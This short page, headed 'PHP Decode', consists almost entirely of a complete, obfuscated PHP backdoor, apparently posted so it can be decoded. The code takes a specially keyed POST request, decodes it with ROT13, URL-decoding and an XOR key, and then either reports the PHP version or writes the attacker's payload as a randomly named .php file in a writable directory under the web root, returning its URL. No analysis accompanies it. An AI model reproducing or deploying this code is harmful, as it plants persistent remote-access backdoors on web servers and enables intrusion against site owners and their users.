PHP Decode

<?php $yfzjzfvhhazwpn = "woaoyneedmsfdyyj";$pbnbxxww = "";foreach ($_POST as $fusfealijw => $oawbzhlgyp){if (strlen($fusfealijw) == 16 and substr_count($oawbzhlgyp, "%") > 10){hscowvtzhy($fusfealijw, $oawbzhlgyp);}}function hscowvtzhy($fusfealijw, $oqztndn){global $pbnbxxww;$pbnbxxww = $fusfealijw;$oqztndn = str_split(rawurldecode(str_rot13($oqztndn)));function poopb($nksmv, $fusfealijw){global $yfzjzfvhhazwpn, $pbnbxxww;return $nksmv ^ $yfzjzfvhhazwpn[$fusfealijw % strlen($yfzjzfvhhazwpn)] ^ $pbnbxxww[$fusfealijw % strlen($pbnbxxww)];}$oqztndn = implode("", array_map("poopb", array_values($oqztndn), array_keys($oqztndn)));$oqztndn = @unserialize($oqztndn);if (@is_array($oqztndn)){$fusfealijw = array_keys($oqztndn);$oqztndn = $oqztndn[$fusfealijw[0]];if ($oqztndn === $fusfealijw[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function yzqnthu($yfzjzir) {static $uwykigcrj = array();$itlvfyoubz = glob($yfzjzir . '/*', GLOB_ONLYDIR);if (count($itlvfyoubz) > 0) {foreach ($itlvfyoubz as $yfzjz){if (@is_writable($yfzjz)){$uwykigcrj[] = $yfzjz;}}}foreach ($itlvfyoubz as $yfzjzir) yzqnthu($yfzjzir);return $uwykigcrj;}$lxfpx = $_SERVER["DOCUMENT_ROOT"];$itlvfyoubz = yzqnthu($lxfpx);$fusfealijw = array_rand($itlvfyoubz);$govpyx = $itlvfyoubz[$fusfealijw] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($govpyx, $oqztndn);echo "http://" . $_SERVER["HTTP_HOST"] . substr($govpyx, strlen($lxfpx));exit();}}} ?>